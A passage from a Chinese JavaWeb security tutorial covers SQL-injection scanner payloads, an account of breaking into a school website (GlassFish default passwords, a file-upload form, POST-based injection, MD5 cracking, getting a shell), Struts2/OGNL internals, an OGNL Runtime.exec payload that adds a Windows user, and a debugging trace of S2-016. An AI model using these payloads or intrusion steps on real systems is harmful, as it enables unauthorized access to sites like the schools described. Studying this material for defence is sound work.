,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database (),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b 64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f7 65d)-- 这玩意到底是什么神秘的东西呢?我们不妨在 Navicat 和 FireFox 里面瞅瞅: FireFox 执行的结果: 第 93 页 让我们来还原上面的那句废话: select file_priv from mysql.user where user=root 上面很长很臭的 SQL 翻译过来就这么短的一句查询的结果就一个得到的信息就是: 有没有 file_priv 权限。而 file_priv 应该就是文件读写权限了(没看手册,应该八九不离十)。 如果不是 Y 是 N 那就不能 load_file 、into outfile、dumpfile 咯。 接着看下一条 SQL: SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b683463 6b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'a sim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636 b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),co ncat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b 696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asi m',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b 696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),con cat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b6 96e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim' ,0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b69 6e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat (0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696 e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0 x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696 e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat( 0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e 6765725d,'asim',0x5b2f6834636b696e6765725d),concat(0x5b6834636b696e6765725d,'asim',0x 5b2f6834636b696e6765725d)-- 第 94 页 /*[h4ckinger]asim[/h4ckinger] 这段 SQL 看不出来有什么实际意义,没有对数据库进行任何 操作。对应的 SQL 是: select concat(0x5b6834636b696e6765725d,'asim',0x5b2f6834636b696e6765725d)*/ 没用的东西不管下一条也是点击 start 后的最后一条 SQL 同上。 那么我们可以知道点击注入点检测程序一共做了: 1. 是否存在注入点 2. 注入点的字段数量 3. 注入点获取 Mysql 的版本信息、用户信息、数据库名等。 4. 是否有 file_priv 也就是是否能够读写硬盘文件。 程序逻辑分析: 1. 获取 URL 是否存在 2. 获取 URL 地址并进行参数分析 3. 提交 and 1=1 and 1=2 进行布尔判断,获取服务器的响应码判断是否存在 SQL 注入。 4. 提交占位符获取注入点查询的字段数尝试 order by 注入。 5. 提交 MYSQL 自带的函数获取 MYSQL 版本信息、用户信息、数据库名等信息。 6. 检测是否有 load_file 和 outfile、dumpfile 等权限。 SQL 注入之获取所有用户表: 1、Mssql:select name from master.dbo.sysdatabase 2、Mysql:show databases 3、Sybase:SELECT a.name,b.colid,b.name,c.name,b.usertype,b.length,CASE WHEN b.status=0 THEN 'NOT NULL' WHEN b.status=8 THEN 'NULL' END status, d.text FROM sysobjects a,syscolumns b,systypes c,syscomments d WHERE a.id=b.id AND b.usertype=c.usertype AND a.type='U' --AND a.name='t_user' AND b.cdefault*=d.id ORDER BY a.name,b.colid 4、Oracle:SELECT * FROM ALL_TABLES 第 95 页 4、简单实战 本次实战并没有什么难度,感觉找一个能把前面的都串起来的 demo 太难了。本次实战 的目标是某中学,网站使用 JavaWeb 开发。去年的时候通过 POST 注入绕过了 GET 的防注入 检测。对其和开发商的官网都做了 SQL 注入检测,然后加了开发商的 QQ 通知修补。 前不久再去测试的时候发现漏洞已经被修补了,围观了下开发商后发现其用的是 glassfish: 第 96 页 尝试从服务器弱口令入口了入手但是失败了glassfish的默认管理帐号是admin密码是 adminadmin,如果能过登录glassfish的后台可以直接部署一个war去getshell。 由于没有使用如Struts2之类的MVC框架所以google了下他的jsp,-News参数表示 不希望在搜索结果中包含带有-News的结果。 第 97 页 通过GOOGLE找到一处flash上传点,值得注意的是在项目当中上传下载一般作为一个共有 的业务,所以可能存在一致性也就是此处要是上传不成功恐怕到了后台也不会成功。企图上传 shell: 第 98 页 上传文件: 因为 tamper data 没法拦截 flash 请求,所以通过 chrome 的拦截记录开始构建上传: <html><head> <title></title></head> <body> <form enctype="multipart/form-data" action="http://www.x.cn/webschool/xheditor/upload.jsp?moduleId=98&limitExt=all&sid=0" method="post"> <input name="filedata" type="file"><br> <input type="submit" value="上传文件"> </form> </body> </html> 好吧支持 txt.html.exe 什么的先来个 txt: 一般来说我比较关注逻辑漏洞,比如找回密码,查看页面源码后还真就发现了点猫腻有 DWR 框架。 DWR 框架: DWR 就是一个奇葩,人家都是想着怎么样去解耦,他倒好直接把 js 和后端 java 给耦合 在一起了。DWR(Direct Web Remoting)是一个用于改善 web 页面与 Java 类交互的远程服 务器端 Ajax 开源框架,可以帮助开发人员开发包含 AJAX 技术的网站。它可以允许在浏览器 里的代码使用运行在 WEB 服务器上的 JAVA 方法,就像它就在浏览器里一样。 第 99 页 再次利用 chrome 抓网络请求,居然发现后台把用户的密码都给返回了,这不科学啊: 与此同时我把 google 到的动态连接都打开,比较轻易的就发现了一处 SQL 注入漏洞, 依旧用 POST 提交吧,以免他的防注入又把我拦截下来了(再次提醒普通的防注入普遍防的 是 GET 请求,POST 过去很多防注入都傻逼了,Jsp 里面 request.getParameter("parameter")GET 和 POST 方式提交的参数都能过获取到的): 第 100 页 破 MD5,进后台改上传文件扩展名限制拿 shell 都一气呵成了: GETSHELL: 第 101 页 可能实战写的有点简单了一点,凑合这看吧。由于这是一套通用系统,很轻易的通过该 系统漏洞拿到很多学校的 shell,截图中可能有漏点,希望看文章的请勿对其进行攻击! 第 102 页 攻击 JavaWeb 应用[5] -MVC 安全 -园长 MM 注:这一节主要是消除很多人把 JSP 当作了 JavaWeb 的全部的误解,了解 MVC 及其框架思想。MVC 是用于组织代码用一 种业务逻辑和数据显示分离的方法,不管是 Java 的 Struts2、SpringMVC 还是 PHP 的 ThinkPHP 都爆出过高危的任意代码 执行,本节重在让更多的人了解 MVC 和 MVC 框架安全,由浅到深尽可能的照顾没 Java 基础的朋友。所谓攻击 JavaWeb, 如果连 JavaWeb 是个什么,有什么特性都不知道,就算能用 Struts 刷再多的 RANK 又有何意义?还不如沏一杯清茶,读 一本好书,不浮躁,撸上一天。 1、 初识 MVC 传统的开发存在结构混乱易用性差耦合度高可维护性差等多种问题,为了解决这些毛病 分层思想和 MVC 框架就出现了。MVC 是三个单词的缩写,分别为: 模型(Model),视图(View) 和控制(Controller)。 MVC 模式的目的就是实现 Web 系统的职能分工。 Model 层实现系统中的业务逻辑,通常可以用 JavaBean 或 EJB 来实现。 View 层用于与用户的交互,通常用 JSP 来实现(前面有讲到,JavaWeb 项目中如果不采 用 JSP 作为展现层完全可以没有任何 JSP 文件,甚至是过滤一切 JSP 请求,JEECMS 是一个最 为典型的案例)。 Controller 层是 Model 与 View 之间沟通的桥梁,它可以分派用户的请求并选择恰当的 视图用于显示,同时它也可以解释用户的输入并将它们映射为模型层可执行的操作。 第 103 页 Model1 和 Model2: Model1 主要是用 JSP 去处理来自客户端的请求,所有的业务逻辑都在一个或者多个 JSP 页面里面完成,这种是最不科学的。举例:http://localhost/show_user.jsp?id=2。JSP 页 面获取到参数 id=2 就会带到数据库去查询数据库当中 id 等于 2 的用户数据,由于这样的实 现方式虽然简单,但是维护成本就非常高。JSP 页面跟逻辑业务都捆绑在一起高耦合了。 而软件开发的目标就是为了去解耦,让程序之间的依赖性减小。在 model1 里面 SQL 注入 等攻击简直就是家常便饭。因为在页面里面频繁的去处理各种业务会非常麻烦,更别说关注 安全了。典型的 Model1 的代码就是之前用于演示的 SQL 注入的 JSP 页面。 Model1 的流程: Model 2 表示的是基于 MVC 模式的框架,JSP+Servlet。Model2 已经带有一定的分层 思想了,即 Jsp 只做简单的展现层,Servlet 做后端的业务逻辑处理。这样视图和业务逻辑 就相应的分开了。例如:http://localhost/ShowUserServlet?id=2。也就是说把请求交给 Servlet 处理,Servlet 处理完成后再交给 jsp 或 HTML 做页面展示。JSP 页面就不必要去关 心你传入的 id=2 是怎么查询出来的,而是怎么样去显示 id=2 的用户的信息(多是用 EL 表达 式或 JSP 脚本做页面展现)。视图和逻辑分开的好处是可以更加清晰的去处理业务逻辑,这 样的出现安全问题的几率会相对降低。 第 104 页 Mvc 框架存在的问题: 当 Model1 和 Model2 都难以满足开发需求的时候,通用性的 MVC 框架也就产生了, 模型视图控制器,各司其责程序结构一目了然,业务安全相关控制井井有序,这便是 MVC 框架给我们带来的好处,但是不幸的是由于 MVC 的框架的实现各自不同,某些东西因为其 越来越强大,而衍生出来越来越多的安全问题,典型的由于安全问题处理不当造成近期无 数互联网站被黑阔攻击的 MVC 框架便是 Struts2。神器过于锋利伤到自己也就在所难免了。 而在 Struts 和 Spring 当中最喜欢被人用来挖 0day 的就是标签和 OGNL 的安全处理问题了。 Spring Mvc: Spring 框架提供了构建 Web 应用程序的全功能 MVC 模块。使用 Spring 可插入的 MVC 架构,可以选择是使用内置的 Spring Web 框架还是 Struts 这样的 Web 框架。通 过策略接口,Spring 框架是高度可配置的,而且包含多种视图技术,例如 JavaServer Pages (JSP)技术、Velocity、Tiles、iText 和 POI、Freemarker。Spring MVC 框架并不知道 使用的视图,所以不会强迫您只使用 JSP 技术。Spring MVC 分离了控制器、模型对象、 分派器以及处理程序对象的角色,这种分离让它们更容易进行定制。 Struts2: Struts 是 apache 基金会 jakarta 项目组的一个开源项目,采用 MVC 模式,能够很好的帮 助我们提高开发 web 项目的效率。Struts 主要采用了 servlet 和 jsp 技术来实现,把 servlet、 jsp、标签库等技术整合到整个框架中。Struts2 比 Struts1 内部实现更加复杂,但是使用起来 更加简单,功能更加强大。 Struts2 历史版本下载地址:http://archive.apache.org/dist/struts/binaries/ 官方网站是: http://struts.apache.org/ 。 第 105 页 常见 MVC 比较: 按性能排序:1、Jsp+servlet>2、struts1>2、spring mvc>3、struts2+freemarker>>4、struts2,ognl, 值栈。 开发效率上,基本正好相反。值得强调的是,Spring mvc 开发效率和 Struts2 不相上下。 Struts2 的性能低的原因是因为 OGNL 和值栈造成的。所以如果你的系统并发量高,可以 使用 freemaker 进行显示,而不是采用 OGNL 和值栈。这样,在性能上会有相当大得提高。 而每一次 Struts2 的远程代码执行的原因都是因为 OGNL。 当前 JavaWeb 当中最为流行的 MVC 框架主要有 Spring MVC 和 Struts。相比 Struts2 而言, SpringMVC 具有更轻巧,更简易,更安全等优点。但是由于 SpringMVC 历史远没有 Struts 那 么悠久,SpringMVC 想要在一朝一夕颠覆 Struts1、2 还是非常有困难的。 *JavaWeb 的 Servlet 和 Filter: 可以说 JavaWeb 和 PHP 的实现有着本质的区别,PHP 属于解释性语言.不需要在服务器 启动的时候就通过一堆的配置去初始化 apps 而是在任意一个请求到达以后再去加载配置完 成来自客户端的请求。ASP 和 PHP 有个非常大的共同点就是不需要预先编译成类似 Java 的 字节码文件,所有的类方法都存在于*.PHP 文件当中。而在 Java 里面可以在项目启动时去加 载配置到 Servlet 容器内。在 web.xml 里面配置一个 Servlet 或者 Filter 后可以非常轻松的拦 截、过滤来自于客户端的任意后缀请求。在系列 2 的时候就有提到 Servlet,这里再重温一 下。 Servlet 配置: <servlet> <servlet-name>LoginServlet</servlet-name> <servlet-class>org.javaweb.servlet.LoginServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>LoginServlet</servlet-name> <url-pattern>/servlet/LoginServlet.action</url-pattern> </servlet-mapping> Filter配置: <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepa reAndExecuteFilter</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> 第 106 页 Filter在JavaWeb当中用来做权限控制再合适不过了,再也不用在每个页面都去做 session验证了。假如过滤的url-pattern是/admin/*那么所有URI中带有admin的请 求都必须经过如下Filter过滤: Servlet 和 Filter 一样都可以拦截所有的 URL 的任意方式的请求。其中 url-pattern 可以是 任意的 URL 也可以是诸如*.action 通配符。既然能拦截任意请求如若要做参数和请求的净化 就会非常简单了。servlet-name 即标注一个 Servlet 名为 LoginServlet 它对应的 Servlet 所在的类是 org.javaweb.servlet.LoginServlet.java。由此即可发散开 来,比如如何在 Java 里面实现通用的恶意请求(通用的 SQL 注入、XSS、CSRF、Struts2 等攻击)?敏感页面越权访问?(传统的动态脚本的方式实现是在每个页面都去加 session 验证非常繁琐,有了 filter 过滤器,便可以非常轻松的去限制目录权限)。 上面贴出来的过滤器是Struts2的典型配置,StrutsPrepareAndExecuteFilter 过滤了/*,即任意的 URL 请求也就是 Struts2 的第一个请求入口。任何一个 Filter 都 必须去实现 javax.servlet.Filter 的 Filter 接口,即 init、doFilter、destroy 这三个接 口,这里就不细讲了,有兴趣的朋友自己下载 JavaEE6 的源码包看下。 public void init(FilterConfig filterConfig) throws ServletException; public void doFilter ( ServletRequest request, ServletResponse response, FilterChain chain ) throws IOException, ServletException; public void destroy(); TIPS: 在 Eclipse 里面看一个接口有哪些实现,选中一个方法快捷键 Ctrl+t 就会列举出当 前接口的所有实现了。例如下图我们可以轻易的看到当前项目下实现 Filter 接口的有如 下接口,其中 SecFilter 是我自行实现的,StrutsPrepareAndExecuteFilter 是 Struts2 实现的, 第 107 页 这个实现是用于 Struts2 启动和初始化的,下面会讲到: 2、Struts 概述 Struts1、Struts2、Webwork 关系: Struts1 是第一个广泛流行的 mvc 框架,使用及其广泛。但是,随着技术的发展,尤其 是 JSF、ajax 等技术的兴起,Struts1 有点跟不上时代的步伐,以及他自己在设计上的一些硬 伤,阻碍了他的发展。 同时,大量新的 mvc 框架渐渐大踏步发展,尤其是 webwork。Webwork 是 opensymphony 组织开发的。Webwork 实现了更加优美的设计,更加强大而易用的功能。 后来,struts 和 webwork 两大社区决定合并两个项目,完成 struts2.事实上,struts2 是 以 webwork 为核心开发的,更加类似于 webwork 框架,跟 struts1 相差甚远。 STRUTS2 框架内部流程: 1. 客户端发送请求的 tomcat 服务器。服务器接受,将 HttpServletRequest 传进来。 2. 请求经过一系列过滤器(如:ActionContextCleanUp、SimeMesh 等) 3. FilterDispatcher 被调用。FilterDispatcher 调用 ActionMapper 来决定这个请求是否要调用某 个 Action 4. ActionMapper 决定调用某个 ActionFilterDispatcher 把请求交给 ActionProxy 5. ActionProxy 通过 Configuration Manager 查看 struts.xml,从而找到相应的 Action 类 6. ActionProxy 创建一个 ActionInvocation 对象 7. ActionInvocation 对象回调 Action 的 execute 方法 8. Action 执行完毕后,ActionInvocation 根据返回的字符串,找到对应的 result。然后将 Result 内容通过 HttpServletResponse 返回给服务器。 第 108 页 SpringMVC 框架内部流程: 1. 用户发送请求给服务器。url:user.do 2. 服务器收到请求。发现 DispatchServlet 可以处理。于是调用 DispatchServlet。 3. DispatchServlet 内部,通过 HandleMapping 检查这个 url 有没有对应的 Controller。如果 有,则调用 Controller。 4. Controller 开始执行。 5. Controller 执行完毕后,如果返回字符串,则 ViewResolver 将字符串转化成相应的视图 对象;如果返回 ModelAndView 对象,该对象本身就包含了视图对象信息。 6. DispatchServlet 将执视图对象中的数据,输出给服务器。 7. 服务器将数据输出给客户端。 在看完 Struts2 和 SpringMVC 的初始化方式之后不知道有没有对 MVC 架构更加清晰的了 解。 Struts2 请求处理流程分析: 1、 服务器启动的时候会自动去加载当前项目的 web.xml 2、 在加载 web.xml 配置的时候会去自动初始化 Struts2 的 Filter,然后把所有的请求先交于 Struts 的 org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.java 类去做过 滤处理。 第 109 页 3、 而这个类只是一个普通的 Filter 方法通过调用 Struts 的各个配置去初始化。 4、 初始化完成后一旦有 action 请求都会经过 StrutsPrepareAndExecuteFilter 的 doFilter 过滤。 5、 doFilter 中的 ActionMapping 去映射对应的 Action。 6、 ExecuteOperations 源码、配置和访问截图: 第 110 页 3、Struts2 中 ActionContext、ValueStack、Ognl 在学习 Struts 命令执行之前必须得知道什么是 OGNL、ActionContext、ValueStack。在前 面已经强调过很多次容器的概念了。这地方不敢再扯远了,不然就再也扯回不来了。大概理 解:tomcat 之类的是个大箱子,里面装了很多小箱子,小箱子里面装了很多小东西。而 Struts2 其实就是在把很多东西进行包装,要取小东西的时候直接从 struts2 包装好的箱子里面去拿 就行了。 ActionContext 对象: Struts1 的 Action 必 须 依 赖 于 web 容 器 , 他 的 extecute 方 法 会 自 动 获 得 HttpServletRequest、HttpServletResponse 对象,从而可以跟 web 容器进行交互。 Struts2 的 Action 不用依赖于 web 容器,本身只是一个普通的 java 类而已。但是在 web 开发中我们往往需要获得 request 、session、application 等对象。这时候,可以通过 ActionContext 来处理。 ActionContext 正如其名,是 Action 执行的上下文。他内部有个 map 属性,它存放了 Action 执行时需要用到的对象。 在每次执行 Action 之前都会创建新的 ActionContext 对象, 通过 ActionContext 获取的 session、request 、application 并不是真正的 HttpServletRequest 、HttpServletResponse 、 ServletContext 对象,而是将这三个对象里面的值重新包装成了 map 对象。这样的封装,我 们及获取了我们需要的值,同时避免了跟 Web 容器直接打交道,实现了完全的解耦。 测试代码: public class TestActionContextAction extends ActionSupport{ private String uname; public String execute() throws Exception { ActionContext ac = ActionContext.getContext(); System.out.println(ac); //在此处定义断点 return this.SUCCESS; } //get 和 set 方法省略! } 我们定义断点,debug 进去,跟踪 ac 对象的值。发现他有个 table 属性,该属性内部包 含一个 map 属性,该 map 中又有多个 map 属性,他们分别是: request、session、application、action、attr、parameters 等。 同时,我们跟踪 request 进去,发现属性 attribute 又是一个 table,再进去发现一个名字 叫做”struts.valueStack”属性。内容如下: 第 111 页 OgnlValueStack 可以简单看做 List,里面还放了 Action 对象的引用,通过它可以得到该 Action 对象的引用。 下图说明了几个对象的关系: 1. ActionContext、Action 本身和 HttpServletRequest 对象没有关系。但是为了能够使用 EL 表达式、JSTL 直接操作他们的属性。会有一个拦截器将 ActionContext、Action 中的属性通过 类似 request.setAttribute()方法置入 request 中(webwork2.1 之前的做法)。这样,我们也可以 通过:${requestScope.uname}即可访问到 ActionContext 和 Action 中的属性。 注:struts2 后,使用装饰器模式来实现上述功能。 Action 的实例,总是放到 value stack 中。因为 Action 放在 stack 中,而 stack 是 root(根 对象),所以对 Action 中的属性的访问就可以省略#标记。 第 112 页 获取 Web 容器信息: 在上面我 GETSHELL 或者是输出回显的时候就必须获取到容器中的请求和响应对象。而 在 Struts2 中通过 ActionContext 可以获得 session、request、application,但他们并不是真正 的 HttpServletRequest、HttpServletResponse、ServletContext 对象,而是将这三个对象里面的 值重新包装成了 map 对象。 Struts 框架通过他们来和真正的 web 容器对象交互。 获得 session:ac.getSession().put("s", "ss"); 获得 request:Map m = ac.get("request"); 获得 application: ac.getApplication(); 获取 HttpServletRequest、HttpServletResponse、ServletContext: 有时,我们需要真正的 HttpServletRequest、HttpServletResponse、ServletContext 对象, 怎么办? 我们可以通过 ServletActionContext 类来得到相关对象,代码如下: HttpServletRequest req = ServletActionContext.getRequest(); ServletActionContext.getRequest().getSession(); ServletActionContext.getServletContext(); Struts2 OGNL: OGNL 全称是 Object-Graph Navigation Language(对象图形导航语言),Ognl 同时也是 Struts2 默认的表达式语言。每一次 Struts2 的命令执行漏洞都是通过 OGNL 去执行的。在写 这文档之前,乌云的 drops 已有可够参考的 Ognl 文章了 http://drops.wooyun.org/papers/340。 这里只是简单提下。 1、 能够访问对象的普通方法 2、 能够访问类的静态属性和静态方法 3、 强大的操作集合类对象的能力 4、 支持赋值操作和表达式串联 5、 访问 OGNL 上下文和 ActionContext Ognl 并不是 Struts 专用,我们一样可以在普通的类里面一样可以使用 Ognl,比如用 Ognl 去访问一个普通对象中的属性: 第 113 页 在上面已经列举出了Ognl可以调用静态方法,比如表达式使用表达式去调用runtime执 行命令执行:@java.lang.Runtime@getRuntime().exec('net user selina 123 /add')而在Java 当中静态调用命令行的方式:java.lang.Runtime.getRuntime().exec("net user selina 123 /add"); 第 114 页 4、Struts 漏洞 Struts2 究竟是个什么玩意,漏洞爆得跟来大姨妈紊乱似的,连续不断。前面已经提到 了由于 Struts2 默认使用的是 OGNL 表达式,而 OGNL 表达式有着访问对象的普通方法和静 态方法的能力。开发者无视安全问题大量的使用 Ognl 表达式这正是导致 Struts2 漏洞源源不 断的根本原因。通过上面的 DEMO 应该差不多知道了 Ognl 执行方式,而 Struts2 的每一个命 令执行后面都坚挺着一个或多个可以绕过补丁或是直接构造了一个可执行的 Ognl 表达式语 句。 Struts2 漏洞病例: Struts2 每次发版后都会 release 要么是安全问题,要么就是 BUG 修改。大的版本发布过 一下几个。 1.2.x/ 2013-02-02 17:49 - 1.3.x/ 2013-02-02 17:59 - 2.0.x/ 2013-02-02 11:22 - 2.1.x/ 2013-03-02 14:52 - 2.2.x/ 2013-02-02 16:00 - 2.3.x/ 2013-06-24 11:30 - 小版本发布了不计其数,具体的小版本下载地址: http://archive.apache.org/dist/struts/binaries/ Struts 公开的安全问题: 1、Remote code exploit on form validation error: http://struts.apache.org/release/2.3.x/docs/s2-001.html 2、Cross site scripting (XSS) vulnerability on <s:url> and <s:a> tags: http://struts.apache.org/release/2.3.x/docs/s2-002.html 3、XWork ParameterInterceptors bypass allows OGNL statement execution: http://struts.apache.org/release/2.3.x/docs/s2-003.html 4、Directory traversal vulnerability while serving static content: http://struts.apache.org/release/2.3.x/docs/s2-004.html 5、XWork ParameterInterceptors bypass allows remote command execution: 第 115 页 http://struts.apache.org/release/2.3.x/docs/s2-005.html 6、Multiple Cross-Site Scripting (XSS) in XWork generated error pages: http://struts.apache.org/release/2.3.x/docs/s2-006.html 7、User input is evaluated as an OGNL expression when there's a conversion error: http://struts.apache.org/release/2.3.x/docs/s2-007.html 8、Multiple critical vulnerabilities in Struts2: http://struts.apache.org/release/2.3.x/docs/s2-008.html 9、ParameterInterceptor vulnerability allows remote command execution http://struts.apache.org/release/2.3.x/docs/s2-009.html 10、When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes: http://struts.apache.org/release/2.3.x/docs/s2-010.html 11、Long request parameter names might significantly promote the effectiveness of DOS attacks: http://struts.apache.org/release/2.3.x/docs/s2-011.html 12、Showcase app vulnerability allows remote command execution: http://struts.apache.org/release/2.3.x/docs/s2-012.html 13、A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution: http://struts.apache.org/release/2.3.x/docs/s2-013.html 14、A vulnerability introduced by forcing parameter inclusion in the URL and Anchor Tag allows remote command execution, session access and manipulation and XSS attacks: http://struts.apache.org/release/2.3.x/docs/s2-014.html 15、A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution.: http://struts.apache.org/release/2.3.x/docs/s2-015.html 16 、 A vulnerability introduced by manipulating parameters prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command execution: http://struts.apache.org/release/2.3.x/docs/s2-016.html 18 : A vulnerability introduced by manipulating parameters prefixed with "redirect:"/"redirectAction:" allows for open redirects: http://struts.apache.org/release/2.3.x/docs/s2-017.html Struts2 漏洞利用详情: S2-001-S2-004:http://www.inbreak.net/archives/161 S2-005:http://www.venustech.com.cn/NewsInfo/124/2802.Html S2-006:http://www.venustech.com.cn/NewsInfo/124/10155.Html S2-007:http://www.inbreak.net/archives/363 S2-008:http://www.exploit-db.com/exploits/18329/ http://www.inbreak.net/archives/481 S2-009:http://www.venustech.com.cn/NewsInfo/124/12466.Html S2-010:http://xforce.iss.net/xforce/xfdb/78182 S2-011-S2-015:http://blog.csdn.net/wangyi_lin/article/details/9273903 第 116 页 http://www.inbreak.net/archives/487 http://www.inbreak.net/archives/507 S2-016-S2-017:http://www.iteye.com/news/28053#comments 吐槽一下: 从来没有见过一个框架如此多的漏洞一个连官方修补没怎么用心的框架既有如此多的 拥护者。大学和很多的培训机构都把 SSH(Spring、Struts2、Hibernate)奉为 JavaEE 缺一不 可的神话。在政府和大型企业中使用 JavaWeb 的项目中 SSH 架构体现的更是无处不在。刚 开始找工作的出去面试基本上都问:SSH 会吗?我们只招本科毕业精通 SSH 框架的。“?什 么?Struts2 不会?啥?还不是本科学历?很遗憾,我们公司更希望跟研究过 SSH 代码精通 Struts MVC、Spring AOP DI OIC 和 Hibernate 的人合作,您先回去等通知吧…… ”。多么标准 的面试失败的结束语,我只想说:我去年买了个表! 在 Struts2 如此“权威”、“专制”统治下终于有一个比 Struts2 更轻盈、更精巧、更安全 的框架开始逐渐的威胁着 Struts 神一样的地位,It’s SpringMvc。 Struts2 Debug: 关于 Struts2 的漏洞分析网上已经铺天盖地了,因为一直做 SpringMvc 开发对 Struts2 并 是怎么关注。不过有了上面的铺垫,分析下 Struts2 的逻辑并不难。这次就简单的跟一下 S2-016 的命令执行吧。 Debug Tips: F5:进入方法 F6:单步执行 F7:从当前方法中跳出,继续往下执行。 F8:跳到下一个断点。 其他:F3:进入方法内、Ctrl+alt+h 查看当前方法在哪些地方有调用到。 这里还得从上面的 Struts2 的 Filter 说起,忘记了的回头看上面的:Struts2 请求处理流 程分析。 在 Struts2 项目启动的时候就也会去调用 Ognl 做初始化,启动后一切的 Struts2 的请求 都会先经过 Struts2 的 StrutsPrepareAndExecuteFilter 过滤器(在早期的 Struts 里默认的是 FilterDispatcher)。并从其 doFilter 开始处理具体的请求,完成 Action 映射和请求分发。 在 Debug 之前需要有 Struts2 的 OGNL、Xwork 还有 Struts 的代码。其中的 xwork 和 Struts2 的源代码可以在 Struts2\struts-2.3.14\src 下找到。 第 117 页 Ognl 的源码在 opensymphony 的官方网站可以直接下载到。需要安装 SVN 客户端 checkout 下源码。 http://code.google.com/p/opensymphony-ognl-backup/source/checkout 关联上源代码后可以在 web.xml 里面找到 StrutsPrepareAndExecuteFilter 哪行配置,直接 Ctrl+左键点进去(或者直接在 StrutsPrepareAndExecuteFilter 上按 F3 快速进入到这个类里面 去)。在 StrutsPrepareAndExecuteFilter 的 77 行行标处双击下就可以断点了。 至于在 Eclipse 里面怎么去关联源代码就不多说了,按照 eclipse 提示找到源代码所在的 路径就行了,实在不懂就百度一下。一个正常的 Action 请求一般情况下是不会报错的。如: http://localhost/StrutsDemo/test.action 请求处理成功。在这样正常的请求中 Ognl 表达式找 的是 location。而注入 Ognl 表达式之后: doFilter 的前面几行代码在做初始化,而第 84 行就开始映射 action 了。而最新的 S2-016 就是因为不当的处理 action 映射导致 OGNL 注入执行任意代码的。F5 进入 PrepareOperations 的 findActionMapping 方法。在 findActionMapping 里面会去调用先去获取一个容器然后再去 映射具体的 action。通过 Dispatcher 对象(org.apache.struts2.dispatcher)去获取 Container。 通过 ActionMapper 的实现类:org.apache.struts2.dispatcher.mapper.DefaultActionMapper 调用 getMapping 方法,获取 mapping。 第 118 页 在 311 行的 handleSpecialParameters(request, mapping);F5 进入方法执行内部,这个方法 在 DefaultActionMapper 类里边。 从请求当中获取我们提交的恶意 Ognl 代码: 第 119 页 handleSpecialParameters 方法调用 parameterAction.execute(key, mapping);: F5 进入 parameterAction.execute: 执行完成之后的 mapping 可以看到 lication 已经注入了我们的 Ognl 表达式了: 第 120 页 当 mapping 映射完成后,会回到 DefaultActionMapper 调用上面处理后的 mapping 解析 ActionName。return parseActionName(mapping)。这里拿到的 name 自然是 test 了。因为我们访问的只是 test.action。不过在 Struts2 里面还可以用 test!show.action 即 调用 test 内的 show 方法。 parseNameAndNamespace(uri, mapping, configManager); handleSpecialParameters(request, mapping); return parseActionName(mapping); parseActionName 执行完成后回到之前的 findActionMapping 方法。然后把我们的 mapping 放到请求作用域里边,而 mapping 对应的键是:struts.actionMapping。此便 完成了 ActionMapping。那么 StrutsPrepareAndExecuteFilter 类的 doFilter 过滤器中的 84 行的 ActionMapping 也就完成了。 并 不 是 说 action 映 射 完 成 后 就 已 经 执 行 了 Ognl 表 达 式 了 , 而 是 在 StrutsPrepareAndExecuteFilter 类第 91 行的 execute.executeAction(request, response, mapping); 执行完成后才会去执行我们的 Ognl。 executeAction 在 org.apache.struts2.dispatcher.ng 的 ExecuteOperations 类。这个方法如 下: /** * Executes an action * @throws ServletException */ public void executeAction(HttpServletRequest request, HttpServletResponse response, ActionMapping mapping) throws 第 121 页 ServletException { dispatcher.serviceAction(request, response, servletContext, mapping); } Dispatcher 应该是再熟悉不过了,因为刚才已经在 dispatcher 里面转悠了一圈回来。现 在调用的是 dispatcher 的 serviceAction 方法。 public void serviceAction(参数在上面executeAction太长了就不写了): Excute在excuteorg.apache.struts2.dispatcher.ServletRedirectResult 类,具体方法如下: public void execute(ActionInvocation invocation) throws Exception { if (anchor != null) { anchor = conditionalParse(anchor, invocation); } super.execute(invocation); } super.execute(org.apache.struts2.dispatcher.StrutsResultSupport) 即执行其父类的 execute 方法。上面的 anchor 为空。 第 122 页 重点就在 translateVariables(翻译变量的时候把我们的 Ognl 执行了): 第 123 页 Object result = parser.evaluate(openChars, expression, ognlEval, maxLoopCount); return conv.convertValue(stack.getContext(), 